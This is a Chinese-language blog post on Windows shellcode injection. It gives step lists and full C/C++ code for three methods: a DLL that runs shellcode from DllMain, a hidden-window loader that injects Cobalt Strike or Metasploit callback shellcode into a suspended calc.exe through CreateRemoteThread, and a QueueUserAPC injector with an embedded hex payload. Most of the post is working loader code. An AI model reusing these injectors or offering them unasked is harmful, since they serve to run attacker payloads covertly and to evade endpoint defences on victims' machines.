• shellcode 注入执行技术学习


    shellcode 注入执行技术学习

    注入执行方式

    • CreateThread
    • CreateRemoteThread
    • QueueUserAPC

    CreateThread是一种用于执行Shellcode的技术,而CreateRemoteThread和QueueUserAPC是Shellcode注入的形式。

    以下是使用三种不同技术运行shellcode的过程的高级概述

    CreateThread

    1. Allocate memory in the current process
    2. Copy shellcode into the allocated memory
    3. Modify the protections of the newly allocated memory to allow execution of code from within that memory space
    4. Create a thread with the base address of the allocated memory segment
    5. Wait on the thread handle to return

    翻译:

    1、在当前进程中分配内存
    2、将shellcode复制到分配的内存中
    3、修改新分配的内存的保护,以允许从该内存空间中执行代码
    4、用分配的内存段的基地址创建一个线程
    5、等待线程句柄返回
    

    示例代码:

    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "stdafx.h"
    #include<windows.h>
    #include<iostream>
    HANDLE My_hThread = NULL;
    unsigned char shellcode[] = "shellcode";	//CS或msf生成的shellcode
    DWORD  WINAPI  ceshi(LPVOID pParameter)
    {
        __asm
        {
            mov eax, offset shellcode
            jmp eax
        }
        return 0;
    }
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH://初次调用dll时执行下面代码
        My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    extern"C" _declspec(dllexport) void test()
    {
        int a;
        a = 0;
    }
    

    CreateRemoteThread

    1. Get the process ID of the process to inject into
    2. Open the target process
    3. Allocate executable memory within the target process
    4. Write shellcode into the allocated memory
    5. Create a thread in the remote process with the start address of the allocated memory segment

    翻译:

    1、获取要注入的进程的进程ID
    2、打开目标进程
    3、在目标进程内分配可执行内存
    4、将shellcode写入分配的内存
    5、使用分配的内存段的起始地址在远程进程中创建线程
    

    img

    示例代码:

    #include "stdafx.h"
    #include <Windows.h>
    #include<stdio.h>
    #include "iostream"
    //隐藏运行程序时的cmd窗口
    #pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
    using namespace std;
    
    //使用CS或msf生成的C语言格式的上线shellcode
    unsigned char shellcode[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2...........";
    
    BOOL injection()
    {
        wchar_t Cappname[MAX_PATH] = { 0 };
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        LPVOID lpMalwareBaseAddr;
        LPVOID lpnewVictimBaseAddr;
        HANDLE hThread;
        DWORD dwExitCode;
        BOOL bRet = FALSE;
    
        //把基地址设置为自己shellcode数组的起始地址
        lpMalwareBaseAddr = shellcode;
    
        //获取系统路径,拼接字符串找到calc.exe的路径
        GetSystemDirectory(Cappname, MAX_PATH);
        _tcscat(Cappname, L"\calc.exe");
    
        //打印注入提示
       // printf("被注入的程序名:%S
    ", Cappname);
    
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));
    
        //创建calc.exe进程
        if (CreateProcess(Cappname, NULL, NULL, NULL,
            FALSE, CREATE_SUSPENDED//CREATE_SUSPENDED新进程的主线程会以暂停的状态被创建,直到调用ResumeThread函数被调用时才运行。
            , NULL, NULL, &si, &pi) == 0)
        {
            return bRet;
        }
        //在
        lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
            , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE);
    
        if (lpnewVictimBaseAddr == NULL)
        {
            return bRet;
        }
        //远程线程注入过程
        WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
            (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);
    
        hThread = CreateRemoteThread(pi.hProcess, 0, 0,
            (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
    
        WaitForSingleObject(pi.hThread, INFINITE);
        GetExitCodeProcess(pi.hProcess, &dwExitCode);
        TerminateProcess(pi.hProcess, 0);
        return bRet;
    }
    
    void help(char* proc)
    {
       // printf("%s:创建进程并将shellcode写入进程内存
    ", proc);
    }
    
    int main(int argc, char* argv[])
    {
        help(argv[0]);
        injection();
    }
    

    QueueUserAPC

    1. Get the process ID of the process to inject into
    2. Open the target process
    3. Allocate memory within the target process
    4. Write shellcode into the allocated memory
    5. Modify the protections of the newly allocated memory to allow execution of code from within that memory space
    6. Open a thread in the remote process with the start address of the allocated memory segment
    7. Submit thread to queue for execution when it enters an “alertable” state
    8. Resume thread to enter “alertable” state

    翻译:

    1、获取要注入的进程的进程ID
    2、打开目标进程
    3、在目标进程内分配内存
    4、将shellcode写入分配的内存
    5、修改新分配的内存的保护,以允许从该内存空间中执行代码
    6、使用分配的内存段的起始地址在远程进程中打开一个线程
    7、进入“可更改”状态时将线程提交到队列中以供执行
    8、恢复线程以进入“可更改”状态
    

    img

    示例代码:

    #include <iostream>
    #include <Windows.h>
    #include <TlHelp32.h>
    #include <vector>
    
    int main()
    {
        unsigned char buf[] = "xE9x8Bx01x00x00xCCxCCxCCxCCxCCxCCxCCxCCxCCxCCxCCx64xA1x30x00x00x00x85xC0x78x0Dx8Bx40x0Cx8Bx40x14x8Bx00x8Bx00x8Bx40x10xC3xCCxCCxCCxCCxCCxCCxCCxCCx55x8BxECx83xECx40x53x56x8BxD9x57x89x5DxF4xE8xCDxFFxFFxFFx8BxF0x33xFFx8Bx56x3Cx39x7Cx32x7Cx75x07x33xFFxE9x9Cx00x00x00x8Bx44x32x78x85xC0x74xF1x8Bx54x30x18x85xD2x74xE9x8Bx4Cx30x24x8Bx5Cx30x20x03xCEx8Bx44x30x1Cx03xDEx03xC6x89x4DxFCx33xC9x89x45xF8x4Ax8Bx04x8Bx03xC6x80x38x47x75x4Ex80x78x01x65x75x48x80x78x02x74x75x42x80x78x03x50x75x3Cx80x78x04x72x75x36x80x78x05x6Fx75x30x80x78x06x63x75x2Ax80x78x07x41x75x24x80x78x08x64x75x1Ex80x78x09x64x75x18x80x78x0Ax72x75x12x80x78x0Bx65x75x0Cx80x78x0Cx73x75x06x80x78x0Dx73x74x07x41x3BxCAx76xA3xEBx0Fx8Bx45xFCx8Bx7DxF8x0FxB7x04x48x8Bx3Cx87x03xFEx8Bx5DxF4x8Dx45xC0x89x3Bx50xC7x45xC0x4Cx6Fx61x64xC7x45xC4x4Cx69x62x72xC7x45xC8x61x72x79x41xC6x45xCCx00xE8xF9xFExFFxFFx50x8Bx03xFFxD0x8Dx4DxDCx89x43x04x51x8Dx4DxE8xC7x45xE8x55x73x65x72x51xC7x45xECx33x32x2Ex64x66xC7x45xF0x6Cx6CxC6x45xF2x00xC7x45xDCx4Dx65x73x73xC7x45xE0x61x67x65x42xC7x45xE4x6Fx78x41x00xFFxD0x50x8Bx03xFFxD0x89x43x08x8Dx45xD0x50xC7x45xD0x43x72x65x61xC7x45xD4x74x65x46x69xC7x45xD8x6Cx65x41x00xE8x94xFExFFxFFx50x8Bx03xFFxD0x5Fx5Ex89x43x0Cx5Bx8BxE5x5DxC3xCCxCCxCCxCCxCCx55x8BxECx83xECx24x8Dx4DxDCxE8x92xFExFFxFFx6Ax00x8Dx45xFCxC7x45xECx48x65x6Cx6Cx50x8Dx45xECx66xC7x45xF0x6Fx21x50x6Ax00xC6x45xF2x00xC7x45xFCx54x69x70x00xFFx55xE4x6Ax00x6Ax00x6Ax02x6Ax00x6Ax00x68x00x00x00x40x8Dx45xF4xC7x45xF4x31x2Ex74x78x50x66xC7x45xF8x74x00xFFx55xE8x8BxE5x5DxC3xCCxCCxCCxCC";
    
        HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
        HANDLE victimProcess = NULL;
        PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
        THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
        std::vector<DWORD> threadIds;
        SIZE_T shellSize = sizeof(buf);
        HANDLE threadHandle = NULL;
    
        if (Process32First(snapshot, &processEntry)) {
            while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
                Process32Next(snapshot, &processEntry);
            }
        }
    
        victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
        LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
        WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
        printf("shellAddress is: %p
    ", shellAddress);
    
        if (Thread32First(snapshot, &threadEntry)) {
            do {
                if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                    threadIds.push_back(threadEntry.th32ThreadID);
                }
            } while (Thread32Next(snapshot, &threadEntry));
        }
    
        for (DWORD threadId : threadIds) {
            threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
            QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
            printf("apcRoutine is: %p------>threadId:%d
    ", apcRoutine, threadId);
            Sleep(1000 * 2);
        }
    
        return 0;
    }
    

    参考资料

    你可以在以下链接学到更多知识

    https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html

    https://github.com/LOLBAS-Project/LOLBAS

    https://github.com/fireeye/DueDLLigence

    https://mp.weixin.qq.com/s/J78CPtHJX5ouN6fxVxMFgg

    https://blog.csdn.net/qq_41874930/article/details/107888800

    https://www.jianshu.com/p/bdd302d1ffa8

    https://www.cnblogs.com/theseventhson/p/13199381.html

    https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection

  • 相关阅读:
    可视化和解释的11种基本神经网络架构 标准,循环,卷积和自动编码器网络
    从头开始使用梯度下降优化在Python中实现单变量多项式回归(后续3)
    从头开始使用梯度下降优化在Python中实现单变量多项式回归(后续2)
    从头开始使用梯度下降优化在Python中实现单变量多项式回归
    从头开始使用梯度下降优化在Python中实现多元线性回归(后续)
    从头开始使用梯度下降优化在Python中实现多元线性回归
    算法分析 八: 总结补充补充
    算法分析五:贪婪算法
    JDBC简单使用、工具类构建以及Statement与PreparedStatement区别
    利用抓包工具Fiddler分析post和get对http请求、响应的区别。
  • 原文地址:https://www.cnblogs.com/Secde0/p/14062088.html
Copyright © 2020-2023  润新知